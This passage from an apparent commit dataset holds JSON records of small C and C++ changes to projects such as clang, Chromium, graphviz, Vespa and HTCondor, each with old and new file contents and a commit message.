a612230a-c5fa-0310-af8b-88eea846685b\n","lang":"C","license":"lgpl-2.1","repos":"sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror,sipXtapi\/sipXtapi-svn-mirror"}
{"commit":"068460e74885378bade28d1c8184b8867128fd39","old_file":"test\/Driver\/XRay\/xray-instrument-cpu.c","new_file":"test\/Driver\/XRay\/xray-instrument-cpu.c","old_contents":"\/\/ RUN: not %clang -o \/dev\/null -v -fxray-instrument -c %s\n\/\/ XFAIL: amd64-, x86_64-, x86_64h-, arm, aarch64, arm64\n\/\/ REQUIRES: linux\ntypedef int a;\n","new_contents":"\/\/ RUN: not %clang -o \/dev\/null -v -fxray-instrument -c %s\n\/\/ XFAIL: amd64-, x86_64-, x86_64h-, arm, aarch64, arm64, powerpc64le-\n\/\/ REQUIRES: linux\ntypedef int a;\n","subject":"Update XFAIL line after r294781.","message":"Update XFAIL line after r294781.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@294820 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"a0b806ff87bf32930f6713f256068a650d0a8ce5","old_file":"ui\/views\/controls\/button\/menu_button_delegate.h","new_file":"ui\/views\/controls\/button\/menu_button_delegate.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_VIEWS_CONTROLS_BUTTON_MENU_BUTTON_DELEGATE_H_\n#define UI_VIEWS_CONTROLS_BUTTON_MENU_BUTTON_DELEGATE_H_\n#pragma once\n\nnamespace gfx {\nclass Point;\n}\n\nnamespace views {\n\nclass View;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ MenuButtonDelegate\n\/\/\n\/\/ An interface that allows a component to tell a View about a menu that it\n\/\/ has constructed that the view can show (e.g. for MenuButton views, or as a\n\/\/ context menu.)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nclass MenuButtonDelegate {\n public:\n  \/\/ Creates and shows a menu at the specified position. |source| is the view\n  \/\/ the MenuButtonDelegate was set on.\n  virtual void RunMenu(View* source, const gfx::Point& point) = 0;\n\n protected:\n  virtual ~MenuButtonDelegate() {}\n};\n\n}  \/\/ namespace views\n\n#endif  \/\/ UI_VIEWS_CONTROLS_BUTTON_MENU_BUTTON_DELEGATE_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_VIEWS_CONTROLS_BUTTON_MENU_BUTTON_DELEGATE_H_\n#define UI_VIEWS_CONTROLS_BUTTON_MENU_BUTTON_DELEGATE_H_\n#pragma once\n\n#include \"ui\/views\/views_export.h\"\n\nnamespace gfx {\nclass Point;\n}\n\nnamespace views {\n\nclass View;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ MenuButtonDelegate\n\/\/\n\/\/ An interface that allows a component to tell a View about a menu that it\n\/\/ has constructed that the view can show (e.g. for MenuButton views, or as a\n\/\/ context menu.)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nclass VIEWS_EXPORT MenuButtonDelegate {\n public:\n  \/\/ Creates and shows a menu at the specified position. |source| is the view\n  \/\/ the MenuButtonDelegate was set on.\n  virtual void RunMenu(View* source, const gfx::Point& point) = 0;\n\n protected:\n  virtual ~MenuButtonDelegate() {}\n};\n\n}  \/\/ namespace views\n\n#endif  \/\/ UI_VIEWS_CONTROLS_BUTTON_MENU_BUTTON_DELEGATE_H_\n","subject":"Fix win builder by tagging MenuButtonDelegate with VIEWS_EXPORT.","message":"views: Fix win builder by tagging MenuButtonDelegate with VIEWS_EXPORT.\n\nBUG=117092\nTBR=sky@chromium.org\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/9647003\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@125656 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"yitian134\/chromium,yitian134\/chromium,ropik\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,ropik\/chromium,gavinp\/chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,adobe\/chromium"}
{"commit":"cf0e1ef6f2cde1d075141ded1b12395475fee83a","old_file":"Archs\/Architecture.h","new_file":"Archs\/Architecture.h","old_contents":"#pragma once\n\nclass IElfRelocator;\n\nenum class Endianness { Big, Little };\n\nclass CArchitecture\n{\npublic:\n\tvirtual void AssembleOpcode(const std::wstring& name, const std::wstring& args) = 0;\n\tvirtual bool AssembleDirective(const std::wstring& name, const std::wstring& args) = 0;\n\tvirtual void NextSection() = 0;\n\tvirtual void Pass2() = 0;\n\tvirtual void Revalidate() = 0;\n\tvirtual int GetWordSize() = 0;\n\tvirtual IElfRelocator* getElfRelocator() = 0;\n\tvirtual Endianness getEndianness() = 0;\n};\n\nclass CInvalidArchitecture: public CArchitecture\n{\npublic:\n\tvirtual void AssembleOpcode(const std::wstring& name, const std::wstring& args);\n\tvirtual bool AssembleDirective(const std::wstring& name, const std::wstring& args);\n\tvirtual void NextSection();\n\tvirtual void Pass2();\n\tvirtual void Revalidate();\n\tvirtual int GetWordSize();\n\tvirtual IElfRelocator* getElfRelocator();\n\tvirtual Endianness getEndianness() { return Endianness::Little; };\n};\n\nextern CInvalidArchitecture InvalidArchitecture;\n","new_contents":"#pragma once\n\nclass IElfRelocator;\nclass CAssemblerCommand;\nclass Tokenizer;\n\nenum class Endianness { Big, Little };\n\nclass CArchitecture\n{\npublic:\n\tvirtual void AssembleOpcode(const std::wstring& name, const std::wstring& args) = 0;\n\tvirtual bool AssembleDirective(const std::wstring& name, const std::wstring& args) = 0;\n\tvirtual CAssemblerCommand* parseDirective(Tokenizer& tokenizer) { return nullptr; };\n\tvirtual CAssemblerCommand* parseOpcode(Tokenizer& tokenizer) { return nullptr; };\n\tvirtual void NextSection() = 0;\n\tvirtual void Pass2() = 0;\n\tvirtual void Revalidate() = 0;\n\tvirtual int GetWordSize() = 0;\n\tvirtual IElfRelocator* getElfRelocator() = 0;\n\tvirtual Endianness getEndianness() = 0;\n};\n\nclass CInvalidArchitecture: public CArchitecture\n{\npublic:\n\tvirtual void AssembleOpcode(const std::wstring& name, const std::wstring& args);\n\tvirtual bool AssembleDirective(const std::wstring& name, const std::wstring& args);\n\tvirtual void NextSection();\n\tvirtual void Pass2();\n\tvirtual void Revalidate();\n\tvirtual int GetWordSize();\n\tvirtual IElfRelocator* getElfRelocator();\n\tvirtual Endianness getEndianness() { return Endianness::Little; };\n};\n\nextern CInvalidArchitecture InvalidArchitecture;\n","subject":"Extend interfaces with new parsing functions","message":"Extend interfaces with new parsing functions\n","lang":"C","license":"mit","repos":"Kingcom\/armips,sp1187\/armips,sp1187\/armips,Kingcom\/armips,hrydgard\/armips,sp1187\/armips,Kingcom\/armips,hrydgard\/armips,hrydgard\/armips"}
{"commit":"892f9a9a7049bee59f4e64ee8245fcf5430ec128","old_file":"vespalib\/src\/vespa\/vespalib\/tensor\/default_tensor.h","new_file":"vespalib\/src\/vespa\/vespalib\/tensor\/default_tensor.h","old_contents":"\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include \"compact\/compact_tensor.h\"\n#include \"compact\/compact_tensor_builder.h\"\n\nnamespace vespalib {\nnamespace tensor {\n\nstruct DefaultTensor {\n    using type = CompactTensor;\n    using builder = CompactTensorBuilder;\n};\n\n} \/\/ namespace vespalib::tensor\n} \/\/ namespace vespalib\n","new_contents":"\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include \"compact\/compact_tensor_v2.h\"\n#include \"compact\/compact_tensor_v2_builder.h\"\n\nnamespace vespalib {\nnamespace tensor {\n\nstruct DefaultTensor {\n    using type = CompactTensorV2;\n    using builder = CompactTensorV2Builder;\n};\n\n} \/\/ namespace vespalib::tensor\n} \/\/ namespace vespalib\n","subject":"Change to using CompactTensorV2 as default impl for sparse tensors.","message":"Change to using CompactTensorV2 as default impl for sparse tensors.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"d65adf9603243c66f9c7f4b5adc2a850c40a146c","old_file":"tmpgb.c","new_file":"tmpgb.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"error.h\"\n#include \"memory.h\"\n\n#define READ_SIZE 0x4000\n\nstatic void usage(void)\n{\n\tfprintf(stderr, \"usage: tmpgb <file>\");\n\texit(EXIT_FAILURE);\n}\n\nstatic void load_rom(const char *rom)\n{\n\tFILE *fp;\n\tunsigned char *buffer[READ_SIZE];\n\tsize_t nread;\n\tint i = -1;\n\n\tfp = fopen(rom, \"rb\");\n\n\tif (fp == NULL) {\n\t\tfprintf(stderr, \"Could not open %s\", rom);\n\t\texit(EXIT_FAILURE);\n\t}\n\n\twhile (!feof(fp)) {\n\t\tnread = fread(buffer, READ_SIZE, 1, fp);\n\n\t\tif (nread == 0) {\n\t\t\tif (ferror(fp)) {\n\t\t\t\tfprintf(stderr, \"Error reading %s\", rom);\n\t\t\t\texit(EXIT_FAILURE);\n\t\t\t}\n\t\t}\n\t\tread_rom(buffer, i);\n\t}\n\n\tfclose(fp);\n}\n\nstatic void run(void)\n{\n\tint ret;\n\n\tif ((ret = init_memory()) != 0) {\n\t\terrnr = ret;\n\t\texit_error();\n\t}\n}\n\nint main(int argc, char **argv)\n{\n\tchar *rom;\n\n\tif (argc != 2)\n\t\tusage();\n\n\trom = argv[1];\n\tload_rom(rom);\n\n\trun();\n\n\treturn 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"error.h\"\n#include \"memory.h\"\n\n#define READ_SIZE 0x4000\n\nstatic void usage(void)\n{\n\tfprintf(stderr, \"usage: tmpgb <file>\");\n\texit(EXIT_FAILURE);\n}\n\nstatic void load_rom(const char *rom)\n{\n\tFILE *fp;\n\tunsigned char buffer[READ_SIZE];\n\tsize_t nread;\n\tint i = -1;\n\n\tfp = fopen(rom, \"rb\");\n\n\tif (fp == NULL) {\n\t\tfprintf(stderr, \"Could not open %s\", rom);\n\t\texit(EXIT_FAILURE);\n\t}\n\n\twhile (!feof(fp)) {\n\t\tnread = fread(buffer, READ_SIZE, 1, fp);\n\n\t\tif (nread == 0) {\n\t\t\tif (ferror(fp)) {\n\t\t\t\tfprintf(stderr, \"Error reading %s\", rom);\n\t\t\t\texit(EXIT_FAILURE);\n\t\t\t}\n\t\t}\n\t\tread_rom(buffer, i);\n\t}\n\n\tfclose(fp);\n}\n\nstatic void run(void)\n{\n\tint ret;\n\n\tif ((ret = init_memory()) != 0) {\n\t\terrnr = ret;\n\t\texit_error();\n\t}\n}\n\nint main(int argc, char **argv)\n{\n\tchar *rom;\n\n\tif (argc != 2)\n\t\tusage();\n\n\trom = argv[1];\n\tload_rom(rom);\n\n\trun();\n\n\treturn 0;\n}\n","subject":"Fix error with char pointer","message":"Fix error with char pointer\n","lang":"C","license":"mit","repos":"hoferm\/tmpgb,hoferm\/tmpgb"}
{"commit":"f0dce4e4ff0dad5a12a2178caa6ddccc4b72debd","old_file":"tests\/simple.h","new_file":"tests\/simple.h","old_contents":"#pragma once\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <math.h>\n#include <stdbool.h>\n\n#include <check.h>\n#include <pal.h>\n#include \"..\/..\/src\/base\/pal_base_private.h\"\n#include <common.h>\n\n\/* Max allowed diff against expected value *\/\n#define EPSILON_MAX 0.001f\n#define EPSILON_RELMAX 0.00001f\n\nstruct gold {\n    float ai;\n    float bi;\n    float res;\n    float gold;\n};\n\nextern float *ai, *bi, *res, *ref;\n\n\n\/* Functions that can be overridden by individual tests *\/\n\n\/* Compare two values *\/\nbool compare(float x, float y);\n\n\/* Allow individual tests to add more test cases, e.g. against a reference\n * function *\/\nvoid add_more_tests(TCase *tcase);\n\n\/* Needs to be implemented by tests that define REF_FUNCTION *\/\nvoid generate_ref(float *out, size_t n);\n","new_contents":"#pragma once\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <math.h>\n#include <stdbool.h>\n\n#include <check.h>\n#include <pal.h>\n#include \"..\/..\/src\/base\/pal_base_private.h\"\n#include <common.h>\n\n\/* Max allowed diff against expected value *\/\n#ifndef EPSILON_MAX\n#define EPSILON_MAX 0.001f\n#endif\n#ifndef EPSILON_RELMAX\n#define EPSILON_RELMAX 0.00001f\n#endif\n\nstruct gold {\n    float ai;\n    float bi;\n    float res;\n    float gold;\n};\n\nextern float *ai, *bi, *res, *ref;\n\n\n\/* Functions that can be overridden by individual tests *\/\n\n\/* Compare two values *\/\nbool compare(float x, float y);\n\n\/* Allow individual tests to add more test cases, e.g. against a reference\n * function *\/\nvoid add_more_tests(TCase *tcase);\n\n\/* Needs to be implemented by tests that define REF_FUNCTION *\/\nvoid generate_ref(float *out, size_t n);\n","subject":"Allow tests to override error tolerance","message":"tests: Allow tests to override error tolerance\n\nSigned-off-by: Ola Jeppsson <793f970c52ded1276b9264c742f19d1888cbaf73@adapteva.com>\n","lang":"C","license":"apache-2.0","repos":"Adamszk\/pal3,olajep\/pal,eliteraspberries\/pal,8l\/pal,debug-de-su-ka\/pal,eliteraspberries\/pal,Adamszk\/pal3,eliteraspberries\/pal,parallella\/pal,aolofsson\/pal,olajep\/pal,Adamszk\/pal3,aolofsson\/pal,mateunho\/pal,mateunho\/pal,debug-de-su-ka\/pal,parallella\/pal,aolofsson\/pal,olajep\/pal,olajep\/pal,8l\/pal,eliteraspberries\/pal,mateunho\/pal,parallella\/pal,Adamszk\/pal3,parallella\/pal,8l\/pal,mateunho\/pal,parallella\/pal,aolofsson\/pal,debug-de-su-ka\/pal,eliteraspberries\/pal,debug-de-su-ka\/pal,mateunho\/pal,8l\/pal,debug-de-su-ka\/pal"}
{"commit":"07eda65a17fbf97ef7b1a5da06fde0817d0dc7ef","old_file":"test2\/initialisation\/struct\/empty\/init.c","new_file":"test2\/initialisation\/struct\/empty\/init.c","old_contents":"\/\/ RUN: %layout_check %s\n\/\/ RUN: %check %s\n\nstruct A\n{\n}; \/\/ CHEKC: \/warning: empty struct\/\n\nstruct Containter\n{\n\tstruct A a;\n};\n\nstruct Pre\n{\n\tint i;\n\tstruct A a;\n\tint j;\n};\n\nstruct Pre p = { 1, \/* warn *\/ 2 }; \/\/ CHECK: \/warning: missing {} initialiser for empty struct\/\nstruct Pre q = { 1, {}, 2 };\n\nmain()\n{\n\tstruct A a = { 5 }; \/\/ CHECK: \/warning: missing {} initialiser for empty struct\/\n\tstruct A b = {};\n\n\tstruct Containter c = {{}};\n\n\tc.a = (struct A){};\n}\n","new_contents":"\/\/ RUN: %layout_check %s\n\/\/ RUN: %check %s\n\nstruct A\n{\n}; \/\/ CHECK: \/warning: empty struct\/\n\nstruct Container\n{\n\tstruct A a;\n};\n\nstruct Pre\n{\n\tint i;\n\tstruct A a;\n\tint j;\n};\n\nstruct Pre p = { 1, \/* warn *\/ 2 }; \/\/ CHECK: \/warning: missing {} initialiser for empty struct\/\nstruct Pre q = { 1, {}, 2 };\n\nmain()\n{\n\tstruct A a = { 5 }; \/\/ CHECK: \/warning: missing {} initialiser for empty struct\/\n\tstruct A b = {};\n\n\tstruct Container c = {{}};\n\n\tc.a = (struct A){};\n}\n","subject":"Fix typo in empty struct test check","message":"Fix typo in empty struct test check\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"d8474b64fa65283e503821475ac6d13c28e51b41","old_file":"lib\/common\/globals.c","new_file":"lib\/common\/globals.c","old_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#define EXTERN\n#include \"types.h\"\n#include \"globals.h\"\n","new_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#define EXTERN\n#include \"types.h\"\n#include \"globals.h\"\n\n\/* Default layout values, possibly set via command line; -1 indicates unset *\/\nfdpParms_t fdp_parms = {\n    1,                          \/* useGrid *\/\n    1,                          \/* useNew *\/\n    -1,                         \/* numIters *\/\n    50,                         \/* unscaled *\/\n    0.0,                        \/* C *\/\n    1.0,                        \/* Tfact *\/\n    -1.0,                       \/* K - set in initParams; used in init_edge *\/\n    -1.0,                       \/* T0 *\/\n};\n\n","subject":"Make sure fdp global parameters are statically initialized. This avoids making the algorithm independent of processing argv[].","message":"Make sure fdp global parameters are statically initialized.\nThis avoids making the algorithm independent of processing argv[].\n","lang":"C","license":"epl-1.0","repos":"BMJHayward\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,ellson\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,ellson\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,ellson\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,kbrock\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,ellson\/graphviz,tkelman\/graphviz,kbrock\/graphviz,ellson\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz"}
{"commit":"ac6241f2f5f470d14938510c5cd04d1b8f2cb4af","old_file":"Solutions\/01\/include\/validator.h","new_file":"Solutions\/01\/include\/validator.h","old_contents":"#ifndef LPSLCD_VALIDATOR_H\n#define LPSLCD_VALIDATOR_H\n\n#include \"generator.h\"\n\n\n\nclass Validator\n{\n    public:\n        static bool Validate (const Code & code)\n        {\n            \/\/ | N - k            |\n            \/\/ | ____             |\n            \/\/ | \\     a + a      | < L\n            \/\/ | \/___   i   i + k |\n            \/\/ | i = 1            |\n            \/\/\n            \/\/ k - 0 < k < N;\n            \/\/ N - length of sequence.\n            \/\/ L - limit of sidelobe level.\n\n            const ssize_t  sideLobeLimit = code.size () < 14 ? 1 : floor (code.size () \/ 14.0f);\n\n            for (size_t shift = 1; shift < code.size (); ++shift) {\n                ssize_t sideLobe = 0;\n                for (size_t i = 0; i < code.size () - shift; ++i) {\n                    sideLobe += (code [i + shift] == '+' ? 1 : -1) *\n                                (code [i        ] == '+' ? 1 : -1);\n                }\n                if (std::abs (sideLobe) > sideLobeLimit) {\n                    return false;\n                }\n            }\n\n            return true;\n        };\n};\n\n#endif\/\/LPSLCD_VALIDATOR_H\n","new_contents":"#ifndef LPSLCD_VALIDATOR_H\n#define LPSLCD_VALIDATOR_H\n\n#include \"generator.h\"\n#include <cmath>\n\n\n\nclass Validator\n{\n    public:\n        static bool Validate (const Code & code)\n        {\n            \/\/ | N - k            |\n            \/\/ | ____             |\n            \/\/ | \\     a + a      | < L\n            \/\/ | \/___   i   i + k |\n            \/\/ | i = 1            |\n            \/\/\n            \/\/ k - 0 < k < N;\n            \/\/ N - length of sequence.\n            \/\/ L - limit of sidelobe level.\n\n            const ssize_t  sideLobeLimit = code.size () < 14 ? 1 : std::floor (code.size () \/ 14.0f);\n\n            for (size_t shift = 1; shift < code.size (); ++shift) {\n                ssize_t sideLobe = 0;\n                for (size_t i = 0; i < code.size () - shift; ++i) {\n                    sideLobe += (code [i + shift] == '+' ? 1 : -1) *\n                                (code [i        ] == '+' ? 1 : -1);\n                }\n                if (std::abs (sideLobe) > sideLobeLimit) {\n                    return false;\n                }\n            }\n\n            return true;\n        };\n};\n\n#endif\/\/LPSLCD_VALIDATOR_H\n","subject":"Fix compile error on gcc 6.3.0.","message":"Fix compile error on gcc 6.3.0.\n","lang":"C","license":"mit","repos":"Gluttton\/PslRK,Gluttton\/PslRK,Gluttton\/PslRK"}
{"commit":"8144596da658cd3854610f51094b7b3407c0d4b4","old_file":"solutions\/uri\/1039\/1039.c","new_file":"solutions\/uri\/1039\/1039.c","old_contents":"#include <math.h>\n#include <stdio.h>\n\nint main() {\n    double r1, x1, y1, r2, x2, y2;\n    double distance;\n\n    while (scanf(\"%lf %lf %lf %lf %lf %lf\", &r1, &x1, &y1, &r2, &x2, &y2) != EOF) {\n        distance = sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2));\n\n        if (r1 >= distance + r2) {\n            puts(\"RICO\");\n        } else {\n            puts(\"MORTO\");\n        }\n    }\n\n    return 0;\n}\n","new_contents":"#include <math.h>\n#include <stdio.h>\n\nint main() {\n    double r1, x1, y1, r2, x2, y2;\n    double distance;\n\n    while (scanf(\"%lf %lf %lf %lf %lf %lf\", &r1, &x1, &y1, &r2, &x2, &y2)\n           != EOF) {\n        distance = sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2));\n\n        if (r1 >= distance + r2) {\n            puts(\"RICO\");\n        } else {\n            puts(\"MORTO\");\n        }\n    }\n\n    return 0;\n}\n","subject":"Solve Fire Flowers in c","message":"Solve Fire Flowers in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"3ed71339b1bb80eec219c142aca03a0cf0be0ffa","old_file":"src\/condor_includes\/_condor_fix_types.h","new_file":"src\/condor_includes\/_condor_fix_types.h","old_contents":"#ifndef FIX_TYPES_H\n#define FIX_TYPES_H\n\n#include <sys\/types.h>\n\n\/*\nThe system include file defines this in terms of bzero(), but ANSI says\nwe should use memset().\n*\/\n#if defined(OSF1)\n#undef FD_ZERO\n#define FD_ZERO(p)     memset((char *)(p), 0, sizeof(*(p)))\n#endif\n\n\/*\nVarious non-POSIX conforming files which depend on sys\/types.h will\nneed these extra definitions...\n*\/\n\ntypedef unsigned int u_int;\n\n#if defined(ULTRIX42) ||  defined(ULTRIX43)\ntypedef char * caddr_t;\n#endif\n\n#endif\n","new_contents":"#ifndef FIX_TYPES_H\n#define FIX_TYPES_H\n\n#include <sys\/types.h>\n\n\/*\nThe system include file defines this in terms of bzero(), but ANSI says\nwe should use memset().\n*\/\n#if defined(OSF1)\n#undef FD_ZERO\n#define FD_ZERO(p)     memset((char *)(p), 0, sizeof(*(p)))\n#endif\n\n\/*\nVarious non-POSIX conforming files which depend on sys\/types.h will\nneed these extra definitions...\n*\/\n\ntypedef unsigned int u_int;\n\n#if defined(AIX32)\ntypedef unsigned short ushort;\n#endif\n\n#if defined(ULTRIX42) ||  defined(ULTRIX43)\ntypedef char * caddr_t;\n#endif\n\n#if defined(AIX32)\ntypedef unsigned long rlim_t;\n#endif\n\n#endif\n","subject":"Add types \"ushort\" and \"rlim_t\" for AIX.","message":"Add types \"ushort\" and \"rlim_t\" for AIX.\n","lang":"C","license":"apache-2.0","repos":"bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,djw8605\/condor,neurodebian\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,djw8605\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,djw8605\/condor,djw8605\/htcondor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,djw8605\/condor,htcondor\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,djw8605\/condor,mambelli\/osg-bosco-marco,htcondor\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,djw8605\/condor,htcondor\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,djw8605\/condor,mambelli\/osg-bosco-marco,djw8605\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,neurodebian\/htcondor"}
